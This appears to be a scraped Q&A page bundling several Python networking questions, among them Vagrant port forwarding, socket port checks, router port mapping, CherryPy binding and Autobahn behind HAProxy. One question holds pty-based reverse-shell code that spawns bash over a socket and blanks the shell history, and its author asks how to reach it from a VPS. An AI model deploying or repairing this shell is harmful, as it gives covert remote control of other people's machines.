Vagrant localhost 8080 connection issue - python-3.x

I am new to vagrant using Windows 10. Started a course on Udacity(Full stack foundation). Now i have created a simple web server script but when i am testing it on localhost:8080 showing error : site can't be reached. Tried a lot but unable to find the solution. On netstat -aon showing 0.0.0.0:8080 listening on pid no 1072 but pid is not there in running servies (using Clt+Alt+Del).
web server script - webserver.py
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
class WebServerHandler(BaseHTTPRequestHandler):
def do_GET(self):
if self.path.endswith("/hello"):
self.send_response(200)
self.send_header('Content-type', 'text/html')
self.end_headers()
message = ""
message += "<html><body>Hello!</body></html>"
self.wfile.write(message)
print message
return
if self.path.endswith("/hola"):
self.send_response(200)
self.send_header('Content-type', 'text/html')
self.end_headers()
message = ""
message += "<html><body>Hola!</body></html>"
self.wfile.write(message)
print message
return
else:
self.send_error(404, 'File Not Found: %s' % self.path)
def main():
try:
port = 8080
server = HTTPServer(('', port), WebServerHandler)
print "Web Server running on port %s" % port
server.serve_forever()
except KeyboardInterrupt:
print " ^C entered, stopping web server...."
server.socket.close()
if __name__ == '__main__':
main()
Code is executing and terminating properly with no error but on testing it on http://localhost:8080/hello (site can't be reached).
Help me. Thanks in Advance.

Try to access the link with curl from the VM: curl http://localhost:8080/hello.
If the response is OK, it means either port 8080 is not forwarded, or maybe it's blocked by vagrant VM firewall. You can open your port for testing purpose using ufw.

I changed the host and port in the Python App from this:
run(host='localhost', port=8080, debug=True)
to this:
run(host='0.0.0.0', port=5002, debug=True)
and in the vagrantfile from this:
config.vm.network "forwarded_port", guest: 8080, host: 8080, host_ip: "127.0.0.1"
to this:
config.vm.network "forwarded_port", guest: 5002, host: 5002
then test a request and do NOT forget to add the resource (URL endpoint) 'hello' in my example: http://0.0.0.0:5002/hello
this fixed the issue for me.

Related

How to check telnet client is installed or not on Remote windows machine

we have to test on 100 servers whether telnet is installed or not?
if installed we have to check port is working or not (telnet 10.20.30.40 1234)
if not installed we have to install and test the port is enabled or not?
is it possible in Python script, if yes please help.
Thanks in advance.
Try this:
import socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
result = sock.connect_ex(('0.20.30.40',1234))
if result == 0:
print "Port is open"
else:
print "Port is not open"
sock.close()

pty based reverse shell in Python

I am trying to build a pty based reverse shell using python.
Here is my code
import os
import pty
import socket
rhost = "127.0.0.1" #Remote host address
rport = 4444 # XXX: CHANGEME
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((lhost, lport))
print("connected")
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
os.putenv("HISTFILE",'/dev/null')
pty.spawn("/bin/bash")
s.close()
if __name__ == "__main__":
main()
When I am trying to use this shell with a listener running on my own system with a command like nc -4444 then I am getting a shell.
but when I try to change the host address to the IP of my VPS and use the same command to get a listener on port 4444 then I am not getting the shell back.For some reason, it's only working when I run both the client and server on my own system.

Can't port forward for a simple Python server

I started working on a simple server and client script. I tested the script on my local network, and it worked great: The server would turn on, and wait for a client connection. As soon as a client connected, it would then let me proceed.
I then decided to test it over the internet, and this is were the problems start happening. I am running the server on Ubuntu, and the client on a windows machine.
Server Connection Code:
import socket
import sys
#Create a socket for connection
def socket_create():
try:
global host
global port
global s
host = ''
port = 5698
s = socket.socket()
print("Socket created.")
except socket.error as msg:
print("Socket creation error: " + str(msg))
#Bind the created socket to a port, sleep for conn
def socket_bind():
try:
global host
global port
global s
s.bind((host, port))
print("Waiting for connection")
s.listen(5)
except socket.error as msg:
print("SOcket binding error: " + str(msg) + "\n Retrying...")
socket_bind()
#Estabilish Connection with client
def socket_accept():
conn, adress = s.accept()
print("Connection has been estabilished | " + "IP " + adress[0] + " | Port " + str(adress[1]))
send_command(conn)
conn.close()
Client Connection Code:
import os
import socket
import subprocess
# Create a socket
def socket_create():
try:
global host
global port
global s
host = 'My Internet IP'
port = 5987
s = socket.socket()
except socket.error as msg:
print("Socket creation error: " + str(msg))
# Connect to a remote socket
def socket_connect():
try:
global host
global port
global s
s.connect((host, port))
except socket.error as msg:
print("Socket connection error: " + str(msg))
And the error:
[Errno 10060] A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond
I'll never get the "Connection has been estabilished" print from the server, and I'll get that error.
Can anyone see anything that might be causing the problem in the code?
After port forwarding the router, do I have to do any other configs on Ubuntu itself? The ports I should open are as TCP, right?
After opening the port on the router, and if I use a service like "http://www.canyouseeme.org/", will it show instantly that the port is open, or will it only show if I'm running the server and waiting for a connection?
I managed to fix the problem. Here is an in-depth guide on how I did it.
The problem: Even after opening a port on your Router configs, you still can't see the port open on your running service.
The solution: Port Mapper.
Things to note: I had to run Port Mapper on Ubuntu, because running it on Windows didn't seem to work for me. Also, if you let your computer sleep or shutdown, when you turn it on again, you'll have to reopen the ports (but don't worry, as it is just a click of a button).
What you'll need: https://sourceforge.net/projects/upnp-portmapper/
First, simply run 'java' in the terminal to make sure you have Java installed, or in order to install it (directions will appear on screen).
From the given link, download the Portmapper.jar.
After downloading it, simply run 'java -jar Portmapper.jar' on the terminal to open up the gui.
After opening the gui, press Connect so you can automatically connect to the router.
All the current open ports will now appear on screen. We know want to look for the port mapping presets.
In the Port mapping presets, go ahead and press Create.
Here, give the preset a name. Then, fill the Remote Host if you want the connection of a specific IP, or leave it empty for any IP. The internal client will be your Server's network IP (in my case, because I'm running the server in the same machine as the Port mapper, I'll tick Use Local Host.
Now we'll go ahead and add a new port as a TCP connection. Here we can either have the external and internal ports with equal or different values. Just remember the internal port (your machine's port) will be the one you'll use on your server, and the external port (your router open port) will be the one you'll use on your clients or whatever you are connecting to your server.
After this, simply save the preset, choose it and press Use. If you know click Update under the ports list, you'll see your new open port. Just to make sure, you can get your server running awating connections, and simply go to "http://www.canyouseeme.org/", input the port, and here you go.
Do remember that after shutting down or putting the computer asleep, you'll have to go back to PortMapper, and click Use on the preset you want again (depending on what port you want).

(( '127.0.0.1', 8080)) already shut down

I am trying to run a server in BeagleBone Black using CherryPy and following this tutorial http://docs.cherrypy.org/en/latest/install.html, and every time I run it I have this error message
ENGINE HTTP Server cherrypy._cpwsgi_server.CPWSGIServer(( '127.0.0.1',8080))already shut down
How can I turn it on again ?
I tkink the port 8080 is already used. Your command is fine to kill a process running on particular port on Linux.
fuser -k 8080/tcp
If you try to access your device remotely you have to explicitly configure Cherrypy to bind on all interfaces:
import cherrypy
class HelloWorld(object):
#cherrypy.expose
def index(self):
return "Hello world!"
if __name__ == '__main__':
cherrypy.config.update({'server.socket_host': '0.0.0.0'} )
cherrypy.quickstart(HelloWorld())

Asyncio Autobahn behind reverse proxy rejecting connection

I'm using Autobahn with Asyncio to build a lightweight socket server separate from my flask app. I have it all working but in order to route the traffic accordingly I put the two servers behind HAProxy. I am successfully getting requests to the server, but then the connection closes and server reports:
WebSocket connection closed: connection was closed uncleanly (port 9001 in HTTP Host header 'localhost:9001' does not match server listening port 4000)
So, the header does not match what the server is expecting. Is there any way to change this?
I am using Autobahn-python version 0.10.9 with Python 3.4. Here is my server code:
from autobahn.asyncio.websocket import WebSocketServerProtocol, \
WebSocketServerFactory
import asyncio
import json
class SimpleServer(WebSocketServerProtocol):
def onConnect(self, request):
print("Client connecting: {0}".format(request.peer))
def onOpen(self):
print("WebSocket connection open.")
#asyncio.coroutine
def onMessage(self, payload, isBinary):
if not isBinary:
self.sendMessage(payload, isBinary)
else:
self.sendMessage(payload, isBinary)
def onClose(self, wasClean, code, reason):
print("WebSocket connection closed: {0}".format(reason))
if __name__ == '__main__':
factory = WebSocketServerFactory(u"ws://127.0.0.1:4000", debug=False)
factory.protocol = SimpleServer
loop = asyncio.get_event_loop()
coro = loop.create_server(factory, '127.0.0.1', 4000)
server = loop.run_until_complete(coro)
try:
loop.run_forever()
except KeyboardInterrupt:
pass
finally:
server.close()
loop.close()
HAProxy is version 1.4.18 and the config is:
global
log 127.0.0.1› local0
log 127.0.0.1› local1 notice
maxconn 4096
user root
group sudo
debug
#quiet
defaults
log global
mode http
option httplog
option dontlognull
retries 3
option redispatch
maxconn 2000
contimeout 5000
clitimeout 50000
srvtimeout 50000
frontend public
bind *:9001
acl is_websocket hdr(Upgrade) -i WebSocket
use_backend ws if is_websocket
default_backend www
backend www
timeout server 30s
server www1 127.0.0.1:3000
backend ws
timeout server 600s
server ws1 127.0.0.1:4000
I am running Ubuntu 12.04. Thanks for the help
Ok for anyone stuck on this, it was fixed by changing
factory = WebSocketServerFactory(u"ws://127.0.0.1:4000", debug=False)
to:
factory = WebSocketServerFactory()
Apparently, specifying the url in the Factory will cause Autobahn to run checks on the headers.

Resources